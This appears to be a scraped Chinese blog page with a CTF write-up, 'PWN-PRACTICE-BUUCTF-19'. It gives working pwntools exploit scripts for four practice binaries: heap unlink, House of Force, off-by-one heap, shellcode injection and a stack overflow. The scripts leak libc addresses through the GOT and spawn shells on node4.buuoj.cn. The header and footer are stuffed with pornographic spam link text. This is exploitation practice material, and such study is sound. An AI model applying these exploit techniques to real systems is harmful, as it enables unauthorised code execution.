日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-19

發布時間:2023/12/10 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-19 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-19

    • hitcontraining_bamboobox
    • picoctf_2018_shellcode
    • npuctf_2020_easyheap
    • cmcc_pwnme2

hitcontraining_bamboobox

unlink,參考:hitcontraining_bamboobox 堆技巧 unlink

# -*- coding:utf-8 -*- from pwn import * #io=process("./bamboobox") io=remote("node4.buuoj.cn",29339) elf=ELF("./bamboobox") libc=ELF("./libc-2.23-16-x64.so")def show():io.sendlineafter("Your choice:","1") def add(name_len,name):io.sendlineafter("Your choice:","2")io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the name of item:",name) def edit(index,name_len,name):io.sendlineafter("Your choice:","3")io.sendlineafter("the index of item:",str(index))io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the new name of the item:",name) def free(index):io.sendlineafter("Your choice:","4")io.sendlineafter("the index of item:",str(index)) def exit():io.sendlineafter("Your choice:","5")#gdb.attach(io) #pause()add(0x40,"aaaa") add(0x80,"bbbb") add(0x80,"cccc")#pause()ptr=0x00000000006020C8 fd=ptr-0x18 bk=ptr-0x10 payload=p64(0)+p64(0x40)+p64(fd)+p64(bk) payload=payload.ljust(0x40,"A") payload+=p64(0x40)+p64(0x90) edit(0,len(payload),payload)#pause()free(1)#pause()atoi_got=elf.got["atoi"] payload=p64(0)*2+p64(0x40)+p64(atoi_got) edit(0,len(payload),payload)#pause()show() io.recvuntil("0 : ") atoi_addr=u64(io.recv(6).ljust(8,"\x00")) print("atoi_addr=="+hex(atoi_addr)) libc_base=atoi_addr-libc.sym["atoi"] system=libc_base+libc.sym["system"]#pause()edit(0,0x08,p64(system))#pause()io.sendlineafter("Your choice:","/bin/sh\x00")io.interactive()

House of Force,參考:hitcontraining_bamboobox 堆技巧 House of Force

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" io=process("./bamboobox") #io=remote("node4.buuoj.cn",26168) elf=ELF("./bamboobox") libc=ELF("./libc-2.23-16-x64.so")def show():io.sendlineafter("Your choice:","1") def add(name_len,name):io.sendlineafter("Your choice:","2")io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the name of item:",name) def edit(index,name_len,name):io.sendlineafter("Your choice:","3")io.sendlineafter("the index of item:",str(index))io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the new name of the item:",name) def free(index):io.sendlineafter("Your choice:","4")io.sendlineafter("the index of item:",str(index)) def exit():io.sendlineafter("Your choice:","5")#gdb.attach(io) #pause()add(0x30,"aaaa") payload="a"*0x30+p64(0)+p64(0xffffffffffffffff) edit(0,len(payload),payload)#pause()offset=0x000-0x060-0x10 add(offset,"bbbb")#移動top chunk#pause()magic=0x0000000000400D49 add(0x10,p64(magic)*2)#pause()exit()#pause()io.interactive()

picoctf_2018_shellcode

32位elf,靜態編譯,保護幾乎全都沒開
main函數中有條call eax的gadget,eax保存的是輸入的起始地址,于是輸入shellcode即可執行

from pwn import * #io=process('./PicoCTF_2018_shellcode') io=remote('node4.buuoj.cn',27908) elf=ELF('PicoCTF_2018_shellcode') io.recvuntil('Enter a string!\n') shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov eax,0xb;int 0x80') io.sendline(shellcode) io.interactive()

npuctf_2020_easyheap

obo,參考:npuctf_2020_easyheap

# -*- coding:utf-8 -*- from pwn import * #io=process("./npuctf_2020_easyheap") io=remote("node4.buuoj.cn",25100) elf=ELF("./npuctf_2020_easyheap") libc=ELF("./libc-2.27-18-x64.so")def add(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap(0x10 or 0x20 only) : ",str(size))io.sendlineafter("Content:",content) def edit(index,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Content: ",content) def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index)) def free(index):io.sendlineafter("Your choice :","4")io.sendlineafter("Index :",str(index)) def exit():io.sendlineafter("Your choice :","5")#gdb.attach(io) #pause()add(0x18,"aaaa")#0 add(0x18,"bbbb")#1 add(0x18,"/bin/sh\x00")#2#pause()payload="a"*0x18+p64(0x41) edit(0,payload)#pause()free(1)#pause()payload="a"*0x10+p64(0)+p64(0x21)+p64(8)+p64(elf.got["free"]) add(0x38,payload)#pause()show(1) io.recvuntil("Content : ") free_addr=u64(io.recvuntil("\n")[:-1].ljust(8,"\x00")) print("free_addr=="+hex(free_addr)) libc_base=free_addr-libc.sym["free"] system=libc_base+libc.sym["system"] print("system=="+hex(system))#pause()edit(1,p64(system)) free(2)#pause()io.interactive()

cmcc_pwnme2

棧溢出

from pwn import * #io=process('./cmcc_pwnme2') io=remote('node4.buuoj.cn',29405) elf=ELF('./cmcc_pwnme2') gets_plt=elf.plt['gets'] string_addr=0x0804A060 exec_str=0x080485CB io.recvuntil('Please input:\n') payload='a'*(0x6c+4)+p32(gets_plt)+p32(exec_str)+p32(string_addr) io.sendline(payload) io.sendline('./flag') io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-19的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: a天堂中文在线观看 | 视频一二三区 | 日韩 国产 一区 | 成年人免费网 | 国产精品性爱在线 | www.一区| h片在线观看网站 | 国产高清区 | 日韩一区在线视频 | 国产suv精品一区二区6 | 日本xx视频免费观看 | 人人澡人人射 | 欧美日韩电影一区 | 欧州一区二区三区 | 黑人精品欧美一区二区蜜桃 | av中文字幕免费观看 | 亚洲69av | 麻豆视频在线观看 | 亚州色图欧美色图| 国产精品一线天粉嫩av | 欧美一级无毛 | 久久亚洲aⅴ无码精品 | 国产黄色大片在线观看 | 最新中文字幕在线观看视频 | 中文字幕精品久久久久人妻红杏ⅰ | 欧美性视频播放 | 国产探花一区二区 | 国产ts丝袜人妖系列视频 | 色爽av | 91传媒在线播放 | 精品视频一区二区三区四区 | 91看片网页版 | 夜色综合 | 都市豪门艳霸淫美妇 | 91精产国品一二三区在线观看 | 在线v | 99九九精品视频 | 99久久久无码国产 | 欧美色图亚洲色 | 黄色网炮| 日韩精品一区二区三区视频 | 国产一级片播放 | 亚洲一区二区三区四区在线观看 | 欧美精品韩国精品 | 成人在线天堂 | 日韩精品视频久久 | 无码人妻丰满熟妇区毛片18 | 四色成人av永久网址 | 亚洲国产精品综合久久久 | 亚洲第一在线视频 | 国产成人手机视频 | 艳母日本动漫在线观看 | 亚洲精品一线二线三线 | 少妇被躁爽到高潮无码文 | 日韩中文字幕在线免费观看 | 亚洲精品天天 | 国产男男gay网站 | 免费日韩在线 | 亚洲久久色 | 精品欧美一区二区三区 | 亚洲天堂国产 | 51国产偷自视频区视频 | 色综合五月婷婷 | 国产精品7| 久草最新网址 | 日女人免费视频 | 日本韩国中文字幕 | 韩日精品视频 | 六月久久| 黄色无遮挡| 欧美色爽 | 久久久久久国产精品免费播放 | 欧美色综合网站 | 福利视频在线免费观看 | 超碰99在线| 香蕉成人在线视频 | 蜜臀久久99静品久久久久久 | 午夜激情成人 | 国产成人精品a视频 | 18禁一区二区| 日本在线中文 | 伊人手机在线视频 | 香蕉爱视频 | 青青草国产一区二区三区 | 午夜黄色一级片 | 国产污污视频在线观看 | 三度诱惑免费版电影在线观看 | 美女高潮在线 | 日韩国产免费 | 欧美国产精品 | 欧美aaaaaaaaa| 色老久久| 一曲二曲三曲在线观看中文字幕动漫 | 永久免费未满视频 | 国产成人精品在线视频 | 欧美大片免费播放器 | 日本福利一区二区三区 | 欧美8888 | 久久久久久久久综合 |